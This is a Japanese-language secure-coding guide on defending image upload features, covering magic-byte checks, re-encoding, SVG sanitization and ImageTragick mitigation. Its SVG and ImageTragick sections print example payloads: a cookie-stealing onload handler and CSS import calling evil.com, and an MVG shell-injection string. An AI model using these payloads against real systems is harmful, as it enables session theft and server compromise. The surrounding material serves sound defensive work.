画像ファイルのセキュリティ脆弱性 - アップロード検証とサーバーサイド防御の実践
画像アップロードに潜むセキュリティリスクの全体像
画像アップロード機能は Web アプリケーションで最も一般的な機能の 1 つですが、同時に最も攻撃されやすい入口でもあります。攻撃者は画像ファイルを装った悪意のあるファイルをアップロードし、サーバーサイドでのコード実行、XSS (クロスサイトスクリプティング)、DoS (サービス拒否) などの攻撃を試みます。
主要な攻撃ベクトル:
- 拡張子偽装:
.phpや.jspファイルの拡張子を.jpgに変更してアップロードし、サーバーで実行させる - MIME タイプ偽装: Content-Type ヘッダーを
image/jpegに偽装し、実際には実行可能ファイルをアップロードする - ポリグロットファイル: 有効な画像ファイルであると同時に、有効な HTML/JavaScript/PHP でもあるファイルを作成する
- 画像処理ライブラリの脆弱性: ImageMagick (ImageTragick)、libpng、libjpeg などの脆弱性を悪用し、画像処理時にリモートコード実行を引き起こす
- メタデータインジェクション: EXIF データや XMP メタデータに悪意のあるスクリプトを埋め込む
- Zip Bomb / Decompression Bomb: 展開すると巨大なサイズになる圧縮画像でメモリを枯渇させる
防御の基本原則は「クライアントからの入力を一切信頼しない」です。ファイル名、拡張子、Content-Type ヘッダー、ファイルサイズ、画像の内容すべてを検証し、安全が確認されたもののみを受け入れます。
マジックバイト検証 - ファイルの真の形式を判定する
マジックバイト (ファイルシグネチャ) は、ファイルの先頭数バイトに含まれる固定のバイト列で、ファイルの真の形式を識別します。拡張子や Content-Type は容易に偽装できますが、マジックバイトの検証により実際のファイル形式を確認できます。
主要画像フォーマットのマジックバイト:
- JPEG:
FF D8 FF(先頭 3 バイト) - PNG:
89 50 4E 47 0D 0A 1A 0A(先頭 8 バイト、ASCII で.PNG) - GIF:
47 49 46 38(先頭 4 バイト、ASCII でGIF8) - WebP:
52 49 46 46 ?? ?? ?? ?? 57 45 42 50(RIFF ヘッダー + WEBP) - AVIF:
00 00 00 ?? 66 74 79 70 61 76 69 66(ftyp box + avif) - SVG: テキストベースのため、
<svgまたは<?xmlで始まる
Node.js での実装例:
const fileTypeFromBuffer = require('file-type'); async function validateImage(buffer) { const type = await fileTypeFromBuffer(buffer); const allowedTypes = ['image/jpeg', 'image/png', 'image/webp', 'image/gif']; if (!type || !allowedTypes.includes(type.mime)) { throw new Error('Invalid image format'); } return type; }
マジックバイト検証だけでは不十分な理由:
- ポリグロットファイルは有効なマジックバイトを持ちながら、別の形式としても解釈可能
- マジックバイトの後に悪意のあるペイロードを追加できる
- SVG はテキストベースのため、マジックバイトだけでは JavaScript の埋め込みを検出できない
そのため、マジックバイト検証は防御の第一層として使用し、追加の検証 (画像の再エンコード、メタデータ除去) と組み合わせる必要があります。
画像の再エンコード - 最も効果的な防御手法
アップロードされた画像を一度デコードし、新しい画像として再エンコードすることは、最も効果的なセキュリティ対策です。この処理により、画像データ以外のすべてのペイロード (埋め込みスクリプト、ポリグロット構造、悪意のあるメタデータ) が除去されます。
再エンコードの実装 (Sharp / Node.js):
const sharp = require('sharp'); async function sanitizeImage(inputBuffer) { const metadata = await sharp(inputBuffer).metadata(); if (metadata.width > 10000 || metadata.height > 10000) { throw new Error('Image dimensions too large'); } if (metadata.width * metadata.height > 100000000) { throw new Error('Total pixel count exceeds limit'); } return sharp(inputBuffer).resize({ width: Math.min(metadata.width, 4096), height: Math.min(metadata.height, 4096), fit: 'inside', withoutEnlargement: true }).removeAlpha().jpeg({ quality: 85, mozjpeg: true }).toBuffer(); }
再エンコードで除去されるもの:
- EXIF/XMP メタデータ: GPS 位置情報、カメラ情報、埋め込みスクリプトがすべて除去される
- ポリグロット構造: 画像として有効なデータのみが新しいファイルに書き込まれる
- トレーラーペイロード: 画像データの末尾に追加された悪意のあるバイト列が除去される
- 不正なチャンク: PNG の不正な ancillary チャンクや JPEG の不正な APP マーカーが除去される
注意点:
- 再エンコードは CPU リソースを消費する。Lambda のメモリを 1769MB 以上に設定し、タイムアウトを十分に確保する
- Decompression Bomb 対策として、デコード前にメタデータから画像サイズを確認し、上限を超える場合は処理を拒否する
- アニメーション GIF/WebP は再エンコードでフレームが失われる可能性がある。アニメーション対応が必要な場合は別途処理する
SVG のサニタイズ - XSS 攻撃の温床への対策
SVG は XML ベースのベクター画像フォーマットですが、<script> タグ、イベントハンドラ (onload, onerror)、外部リソース参照 (<use href>, <image href>) を含むことができるため、XSS 攻撃の温床になります。SVG のアップロードを許可する場合は、厳格なサニタイズが必須です。
SVG に埋め込み可能な攻撃コード例:
- script タグ:
<svg><script>alert(document.cookie)</script></svg> - イベントハンドラ:
<svg onload="fetch('https://evil.com?c='+document.cookie)"> - foreignObject:
<foreignObject><body><script>...</script></body></foreignObject> - 外部参照:
<image href="https://evil.com/track.gif" />(SSRF の可能性) - CSS インジェクション:
<style>@import url('https://evil.com/steal.css');</style>
SVG サニタイズの実装:
const { JSDOM } = require('jsdom'); const DOMPurify = require('dompurify'); function sanitizeSvg(svgString) { const window = new JSDOM('').window; const purify = DOMPurify(window); return purify.sanitize(svgString, { USE_PROFILES: { svg: true }, ADD_TAGS: ['use'], FORBID_TAGS: ['script', 'foreignObject'], FORBID_ATTR: ['onload', 'onerror', 'onclick', 'onmouseover'] }); }
より安全なアプローチ:
- SVG を PNG/WebP に変換: SVG をラスタライズしてビットマップ画像に変換する。スクリプトの実行可能性を完全に排除できる
- Content-Security-Policy: SVG を配信する際に
Content-Security-Policy: script-src 'none'ヘッダーを付与し、埋め込みスクリプトの実行を防止する - sandbox iframe: SVG を
<iframe sandbox>内で表示し、親ページへのアクセスを遮断する - 別ドメインからの配信: ユーザーアップロード SVG を別ドメイン (例:
user-content.example.com) から配信し、Cookie の漏洩を防止する
ImageTragick と画像処理ライブラリの脆弱性対策
ImageTragick (CVE-2016-3714) は ImageMagick の重大な脆弱性で、特殊な画像ファイルを処理させることでリモートコード実行 (RCE) が可能でした。この脆弱性は画像処理ライブラリの危険性を世界に知らしめ、画像処理のセキュリティ設計に大きな影響を与えました。
ImageTragick の攻撃手法:
- ImageMagick の delegate 機能を悪用し、画像処理時に任意のシェルコマンドを実行する
- MVG (Magick Vector Graphics) 形式のファイルに
url(https://evil.com/"|ls -la)のようなペイロードを埋め込む - ファイルの拡張子を
.jpgにしても、ImageMagick は内容を解析して MVG として処理してしまう
対策:
- ImageMagick を使わない: 可能であれば Sharp (libvips ベース)、Pillow (Python)、Go の image パッケージなど、より安全な代替ライブラリを使用する
- policy.xml の設定: ImageMagick を使う場合は
policy.xmlで危険な機能を無効化する。<policy domain="coder" rights="none" pattern="MVG" />、<policy domain="coder" rights="none" pattern="EPHEMERAL" /> - サンドボックス実行: 画像処理を Docker コンテナや Lambda の隔離環境で実行し、ホストシステムへの影響を遮断する
- ライブラリの更新: 画像処理ライブラリを常に最新バージョンに保つ。CVE データベースを定期的に確認する
その他の画像処理ライブラリの脆弱性:
- libpng: バッファオーバーフロー脆弱性が過去に複数発見されている
- libjpeg-turbo: ヒープオーバーフローによるコード実行の脆弱性
- libwebp: CVE-2023-4863 (ヒープバッファオーバーフロー) は Chrome、Firefox、Safari すべてに影響した重大な脆弱性
防御の多層化: 単一の対策に依存せず、マジックバイト検証 → サイズ制限 → 再エンコード → メタデータ除去 → サンドボックス実行の多層防御を構築してください。
実装チェックリスト - 安全な画像アップロードの設計
画像アップロード機能を実装する際のセキュリティチェックリストです。すべての項目を満たすことで、既知の攻撃ベクトルに対する包括的な防御を実現します。
フロントエンド (クライアントサイド):
- ファイルサイズ制限:
input[type=file]のaccept属性で許可する MIME タイプを制限する。JavaScript でファイルサイズを事前チェックする (例: 25MB 上限) - プレビュー生成:
URL.createObjectURL()でプレビューを表示し、ユーザーに確認させる。Canvas に描画してクライアントサイドで再エンコードすることも可能 - 注意: クライアントサイドの検証はバイパス可能なため、UX 向上のためのみに使用し、セキュリティはサーバーサイドで担保する
サーバーサイド (必須):
- ファイルサイズ検証: Content-Length ヘッダーとボディサイズの両方を検証する。上限を超えるリクエストは即座に拒否する
- マジックバイト検証:
file-typeライブラリでファイルの実際の形式を判定する。許可リスト (JPEG, PNG, WebP, GIF) に含まれない形式は拒否する - 画像メタデータ検証: デコード前に画像の幅・高さ・ピクセル数を確認する。Decompression Bomb 対策として上限を設定する (例: 10,000 × 10,000 px、総ピクセル数 1 億以下)
- 再エンコード: Sharp で画像を再エンコードし、画像データ以外のペイロードを除去する
- メタデータ除去: EXIF、XMP、IPTC メタデータをすべて除去する。GPS 位置情報の漏洩防止にも有効
- ファイル名の再生成: アップロードされたファイル名を使用せず、UUID などのランダムな名前を生成する。パストラバーサル攻撃を防止する
- 保存先の分離: アップロードされた画像を Web サーバーのドキュメントルート外に保存する。S3 + CloudFront で配信し、直接実行を防止する
配信時:
- Content-Type の明示: 配信時に正しい
Content-Typeヘッダーを設定する。ブラウザの MIME スニッフィングを防止するためX-Content-Type-Options: nosniffを付与する - Content-Disposition: ダウンロード用途では
Content-Disposition: attachmentを設定し、ブラウザでの直接表示を防止する - 別ドメイン配信: ユーザーアップロード画像を別ドメインから配信し、メインドメインの Cookie へのアクセスを遮断する